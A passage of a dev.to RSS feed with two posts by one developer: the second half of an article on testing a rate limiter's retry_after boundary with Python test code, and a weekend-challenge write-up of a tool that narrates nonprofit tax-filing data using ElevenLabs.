&lt;p&gt;And that is how almost every rate limiter I have read is tested. There is a test for "it lets the first one through", a test for "it blocks the second one", and usually a test for "after enough time it lets another through", written with a comfortable margin: advance a day and an hour, or a day and a minute, and assert &lt;code&gt;SEND&lt;/code&gt;. Mine had that one too. &lt;code&gt;timedelta(days=1, minutes=1)&lt;/code&gt; passed happily, because a minute past the boundary is not the boundary.&lt;/p&gt;

&lt;p&gt;The margin is what hides it. Nobody tests the boundary, because the boundary feels like an off-by-one you would notice, and because advancing time by a convenient amount is what a person types when the point of the test is something else.&lt;/p&gt;

&lt;h2&gt;
  
  
  The test that catches it
&lt;/h2&gt;

&lt;p&gt;The fix in the test is not more assertions about the hold. It is to obey the hold.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_the_hold_says_exactly_when_the_window_clears&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;harness&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send_and_confirm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;s1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;harness&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;clock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;advance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;timedelta&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hours&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;held&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;harness&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decide&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;s2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;held&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;retry_after&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;T0&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;timedelta&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;days&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;harness&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;clock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;held&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;retry_after&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;          &lt;span class="c1"&gt;# do exactly what it told me
&lt;/span&gt;    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;harness&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decide&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;s2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;kind&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;VerdictKind&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SEND&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Set the clock to the value the system handed back. Not a second later. Not a comfortable minute later. The exact instant, taken from the response rather than typed by hand.&lt;/p&gt;

&lt;p&gt;That test fails on the original code, and the failure message is the whole story: &lt;code&gt;HOLD frequency_cap&lt;/code&gt; where a &lt;code&gt;SEND&lt;/code&gt; was expected, at the timestamp the system itself chose.&lt;/p&gt;

&lt;p&gt;The fix was one character. &lt;code&gt;&amp;gt;=&lt;/code&gt; became &lt;code&gt;&amp;gt;&lt;/code&gt;, with a comment explaining why the interval is half open, and the boundary test pinned it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Strictly after: at exactly `since` the send has aged out of the window.
# With &amp;gt;= here, retry_after (oldest + window) lands on an instant that is
# still capped, and a caller that obeys it gets held again, forever.
&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decided_at&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;since&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;failed&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The general version
&lt;/h2&gt;

&lt;p&gt;When a gate refuses and returns a retry time, it has made a promise, and the promise is written in a different place from the rule that produced it. Nothing in the type system, and nothing in a normal test suite, forces those two places to agree.&lt;/p&gt;

&lt;p&gt;So the class of bug is not "off by one in a comparison". It is &lt;strong&gt;an output that no test treats as an input&lt;/strong&gt;. &lt;code&gt;retry_after&lt;/code&gt; goes out to the caller and comes back as the caller's behaviour, and if your suite never closes that loop, the value is decorative.&lt;/p&gt;

&lt;p&gt;The practice I took from it is short: &lt;strong&gt;for any value your system returns as advice, write the test that follows the advice.&lt;/strong&gt; Retry after. Next page cursor. Suggested chunk size. The &lt;code&gt;Location&lt;/code&gt; header on a 202. Each of those is a round trip through your own API, and each of them is usually asserted for shape and never for effect.&lt;/p&gt;

&lt;p&gt;It generalises past time, too. A paginator that returns a cursor and a rate limiter that returns a delay are the same thing: a machine that refuses now and describes the conditions under which it will not refuse. If you never feed the description back in, the description is a comment.&lt;/p&gt;

&lt;h2&gt;
  
  
  While I was there
&lt;/h2&gt;

&lt;p&gt;The same suite caught a second, quieter version of the same theme.&lt;/p&gt;

&lt;p&gt;The service returns a &lt;code&gt;reason&lt;/code&gt; on every verdict, from a fixed vocabulary, and the reason string goes into the audit log. So I wrote a test that reads the engine source and asserts that every member of the enum is actually produced somewhere.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_every_reason_is_reachable_from_a_verdict_kind&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;documented&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;Reason&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;engine&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SRC&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;engine.py&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;read_text&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;unused&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;documented&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Reason.&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;upper&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;engine&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;unused&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;reasons never produced by the engine: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unused&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It failed immediately on &lt;code&gt;sequence_exhausted&lt;/code&gt;. I had declared a reason for "every step of this sequence is settled" and never written the code that could return it. A caller reading my enum would have built a branch for a verdict that could not arrive.&lt;/p&gt;

&lt;p&gt;That one was not a fix, it was a missing feature: nothing in the service answered "the sequence is over", which is exactly what a cron loop needs to know to stop asking. It is why the package now has an &lt;code&gt;advance(case_id)&lt;/code&gt; call at all.&lt;/p&gt;

&lt;p&gt;Dead vocabulary in a public enum is a small lie about your contract. A test can notice it, and the test is six lines.&lt;/p&gt;

&lt;h2&gt;
  
  
  The repo
&lt;/h2&gt;

&lt;p&gt;The package is &lt;a href="https://github.com/vinimabreu/sequence-gate" rel="noopener noreferrer"&gt;sequence-gate&lt;/a&gt;, MIT, Python, no network and no sleeps in the suite. It ships three deliberately wrong implementations alongside the right ones, and the tests run them and watch them fail: a stop check that runs after the send, a ledger keyed on the provider's message id that double-sends after a replay, and quiet hours evaluated on the server's clock that texts someone in Kolkata at 03:12.&lt;/p&gt;

&lt;p&gt;Both bugs in this post are in the README, in a section called "bugs found while building it", which I think is the most useful section a repository like that can have.&lt;/p&gt;

&lt;p&gt;If you keep one line from this: &lt;strong&gt;the timestamp your system returns is not documentation, it is an instruction, and something should be executing it.&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;Vinicius Pereira&lt;br&gt;
&lt;a href="https://vinimabreu.dev" rel="noopener noreferrer"&gt;vinimabreu.dev&lt;/a&gt; · &lt;a href="https://github.com/vinimabreu" rel="noopener noreferrer"&gt;github.com/vinimabreu&lt;/a&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>testing</category>
      <category>debugging</category>
      <category>softwareengineering</category>
    </item>
    <item>
      <title>Before you give: hear what a nonprofit's tax filings say, and what they can't</title>
      <dc:creator>Vinicius Pereira</dc:creator>
      <pubDate>Sun, 06 Sep 2026 10:59:31 +0000</pubDate>
      <link>https://dev.to/vinimabreu/before-you-give-hear-what-a-nonprofits-tax-filings-say-and-what-they-cant-1i49</link>
      <guid>https://dev.to/vinimabreu/before-you-give-hear-what-a-nonprofits-tax-filings-say-and-what-they-cant-1i49</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for &lt;a href="https://dev.to/challenges/weekend-2026-09-03"&gt;Weekend Challenge: Generosity Edition&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;Type the name of a US nonprofit and hear, in a minute or two, what its public tax filings say: how much money moved, whether it spent more than it took in, how many months of reserves it holds, where the money comes from, and how that moved over the last decade. Then, in the same breath, what those filings can't tell you.&lt;/p&gt;

&lt;p&gt;There's no score. That was the whole design decision.&lt;/p&gt;

&lt;p&gt;Every charity rating site ends in a number, and the number has to weigh things the filing doesn't measure. A Form 990 records what came in and what went out. It doesn't record whether the work is any good, whether the reserves are locked to a purpose, or what happened after the fiscal year closed. A score built on it is a guess wearing a number, and a donor who trusts the number is trusting the guess.&lt;/p&gt;

&lt;p&gt;So the unit here isn't a score. It's a fact with a limit attached:&lt;/p&gt;

&lt;p&gt;Reserves                   about 12 months&lt;br&gt;
    Net assets of $3 billion would cover about 12 months of spending at the current pace.&lt;br&gt;
    limit: Net assets include buildings, equipment and gifts restricted to a purpose,&lt;br&gt;
           so the part it could actually spend is smaller. Treat this as an upper bound.&lt;/p&gt;

&lt;p&gt;The limit is a required field. The code can't produce a fact without one.&lt;/p&gt;

&lt;p&gt;The generosity angle is simple: give better. Most of us donate on impulse or on a friend's word. This gives you one minute of what's actually on file, in words you can take in on the way to deciding, and it's free, keeps no account, and rates nobody.&lt;/p&gt;
&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;Live: &lt;a href="https://before-you-give.vercel.app" rel="noopener noreferrer"&gt;https://before-you-give.vercel.app&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Try "American Red Cross", then "Doctors Without Borders", then a small food pantry in your state. The three feel completely different once you hear them.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fs0r16qzgsqu60sqntvnv.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fs0r16qzgsqu60sqntvnv.gif" alt="A real session: search Feeding America, open the reading, press play, scroll to the year by year chart" width="600" height="375"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fq16i374yzwk1vm8eyf87.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fq16i374yzwk1vm8eyf87.png" alt="The American Red Cross reading" width="799" height="562"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The voice runs on a spending cap I set for the weekend. If it tells you the budget is used up, the full narration is written out under "Read the narration" and everything else still works.&lt;/p&gt;
&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/vinimabreu" rel="noopener noreferrer"&gt;
        vinimabreu
      &lt;/a&gt; / &lt;a href="https://github.com/vinimabreu/before-you-give" rel="noopener noreferrer"&gt;
        before-you-give
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Hear what a nonprofit's public tax filings say before you donate. No score, no guessing.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;before-you-give&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a href="https://github.com/vinimabreu/before-you-give/actions/workflows/ci.yml" rel="noopener noreferrer"&gt;&lt;img src="https://github.com/vinimabreu/before-you-give/actions/workflows/ci.yml/badge.svg" alt="ci"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/23b639181075ba5ffe31a53c6e4b5668ebf2dc7ff043ffb7491be7182ba8d68a/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f707974686f6e2d332e3131253230253743253230332e3132253230253743253230332e31332d626c7565"&gt;&lt;img src="https://camo.githubusercontent.com/23b639181075ba5ffe31a53c6e4b5668ebf2dc7ff043ffb7491be7182ba8d68a/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f707974686f6e2d332e3131253230253743253230332e3132253230253743253230332e31332d626c7565" alt="python"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/f8df3091bbe1149f398a5369b2c39e896766f9f6efba3477c63e9b4aa940ef14/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f6c6963656e73652d4d49542d677265656e"&gt;&lt;img src="https://camo.githubusercontent.com/f8df3091bbe1149f398a5369b2c39e896766f9f6efba3477c63e9b4aa940ef14/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f6c6963656e73652d4d49542d677265656e" alt="license"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/86ca7bdf2646de7e129787160e3ad39937fbbfaf1d60e744b80eb636dfa34521/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f74657374732d383225323070617373696e672d627269676874677265656e"&gt;&lt;img src="https://camo.githubusercontent.com/86ca7bdf2646de7e129787160e3ad39937fbbfaf1d60e744b80eb636dfa34521/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f74657374732d383225323070617373696e672d627269676874677265656e" alt="tests"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Type the name of a US nonprofit and hear, in a minute or two, what its public tax filings say: how much money moved, whether it spent more than it took in, how many months of reserves it holds, where the money comes from, and how that has moved over a decade. Then, in the same breath, what those filings cannot tell you.&lt;/p&gt;
&lt;p&gt;No score. No ranking. No language model writing the numbers.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Live:&lt;/strong&gt; &lt;a href="https://before-you-give.vercel.app" rel="nofollow noopener noreferrer"&gt;https://before-you-give.vercel.app&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://github.com/vinimabreu/before-you-give/assets/demo.gif"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fvinimabreu%2Fbefore-you-give%2FHEAD%2Fassets%2Fdemo.gif" alt="Searching for Feeding America, opening the reading, pressing play, and scrolling to the year by year chart"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A real session on the live site: search, pick the organization, listen, follow the narration, scroll to the chart. The same clip as an MP4: &lt;a href="https://github.com/vinimabreu/before-you-give/assets/demo.mp4" rel="noopener noreferrer"&gt;assets/demo.mp4&lt;/a&gt;.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Screens&lt;/h2&gt;
&lt;/div&gt;
&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Landing&lt;/th&gt;
&lt;th&gt;Reading&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a rel="noopener noreferrer" href="https://github.com/vinimabreu/before-you-give/assets/landing.png"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fvinimabreu%2Fbefore-you-give%2FHEAD%2Fassets%2Flanding.png" alt="Landing page"&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a rel="noopener noreferrer" href="https://github.com/vinimabreu/before-you-give/assets/results.png"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fvinimabreu%2Fbefore-you-give%2FHEAD%2Fassets%2Fresults.png" alt="The American Red Cross reading"&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Year by year&lt;/th&gt;
&lt;th&gt;Phone&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a rel="noopener noreferrer" href="https://github.com/vinimabreu/before-you-give/assets/year-by-year.png"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fvinimabreu%2Fbefore-you-give%2FHEAD%2Fassets%2Fyear-by-year.png" alt="Year by year chart and table"&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a rel="noopener noreferrer" href="https://github.com/vinimabreu/before-you-give/assets/mobile-playing.png"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fvinimabreu%2Fbefore-you-give%2FHEAD%2Fassets%2Fmobile-playing.png" alt="A food pantry on a phone, narration playing"&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Why there is no score&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;Every charity rating site ends in a number, and the number has to weigh things the filing does not measure. A Form 990 records what an organization took in and what it spent. It does…&lt;/p&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/vinimabreu/before-you-give" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;MIT. Python, FastAPI, one HTML page with no build step. 82 tests that run offline against real API responses, no key needed.&lt;/p&gt;

&lt;h2&gt;
  
  
  How I Built It
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Data first, code second.&lt;/strong&gt; Every number comes unchanged from the ProPublica Nonprofit Explorer API, which republishes IRS Form 990 extracts. Before writing any logic I pulled six real organizations and saved the responses as fixtures: a big 990 filer with 13 years of history, a private foundation (990-PF) that reports the same lines under different names, a food pantry on the short 990-EZ form, another on the full form, and one organization with no filings at all. The code was shaped by what the feed actually returns, not by what I assumed it would. Every field is optional and every fact only exists if its inputs do.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Facts with limits.&lt;/strong&gt; &lt;code&gt;reading.py&lt;/code&gt; is the whole arithmetic. A &lt;code&gt;Fact&lt;/code&gt; has a display value, a plain sentence, the same sentence written for a voice, and a &lt;code&gt;limit&lt;/code&gt;. The limit is what stops the page from lying by layout. When the feed doesn't carry the program / admin / fundraising split (it's on the filing PDF, not in the API), the page says so instead of pretending. When an organization has no numbers, the page explains that small organizations file a postcard and churches don't have to file at all, because absence of data is not a warning sign and a blank page would imply it is.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Two renderings of every number.&lt;/strong&gt; &lt;code&gt;$3.2 billion&lt;/code&gt; for the eye, &lt;code&gt;3.2 billion dollars&lt;/code&gt; for the voice. A text to speech engine reads &lt;code&gt;$3.2B&lt;/code&gt; five different ways and none of them is what a listener wants. There's a test that walks every narration and asserts there is no &lt;code&gt;$&lt;/code&gt; and no &lt;code&gt;%&lt;/code&gt; anywhere in it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The narration is templates, not a language model.&lt;/strong&gt; The script is assembled from the facts by plain string code, so it can't drift from the data even a little. It ends with the source line every time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ElevenLabs, with the guardrails written before the first paid call.&lt;/strong&gt; The narration renders with &lt;code&gt;eleven_turbo_v2_5&lt;/code&gt;. Two rules sit in front of it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;cache by text: the mp3 is stored by the hash of the script, so the same organization never costs twice;&lt;/li&gt;
&lt;li&gt;a hard cap on calls and characters, checked before every request. Past the cap the server answers 429 and keeps serving what's already cached. A small per-address limiter sits in front of that.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Without a key the app runs text-only and says so on the page. Nothing else changes.&lt;/p&gt;

&lt;p&gt;On the voice itself: I spent part of this week tuning ElevenLabs settings on a different project, and the lesson carried over. The voice you pick matters less than stability and style. Defaults sound fast and flat; too much style and it starts oscillating between moods mid-sentence. For narration I landed on stability 0.6, style 0.2, speed 0.95, and it reads a balance sheet like a calm person, which is the point.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What the data told me that I didn't expect.&lt;/strong&gt; The American Red Cross's fundraising events lost money in fiscal 2023: $3.1 million in, $4 million to run. My first version printed "kept -27%", which is true and useless. Now it says the events cost more than they raised, and the limit line notes that events often exist to build a community as much as to raise money. Also: a $3 billion organization holding about 12 months of reserves, and Doctors Without Borders USA running an $89 million deficit with 4 months of reserves and 97% of revenue from donations. None of that is a verdict. It's what's on file, and now you can hear it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What I didn't build.&lt;/strong&gt; No scraping of the filing PDFs for the expense split, no score, no "recommended" list. A weekend is enough to be honest about a data feed; it isn't enough to be right about a cause.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prize Categories
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Best use of ElevenLabs.&lt;/strong&gt; The voice isn't decoration here, it's the accessibility layer. The people this is for are not the people who read walls of numbers. Every figure is formatted for speech, the script is deterministic so the audio can't say something the page doesn't show, and the cache and cap are what make it responsible to leave a public demo running on a personal key.&lt;/p&gt;

&lt;p&gt;If you try it on a nonprofit you care about and the page gets something wrong, open an issue. The numbers are ProPublica's; the sentences are mine, and I'd rather fix a sentence than defend it.&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>weekendchallenge</category>
      <category>python</category>
      <category>showdev</category>
    </item>
  </channel>
</rss>
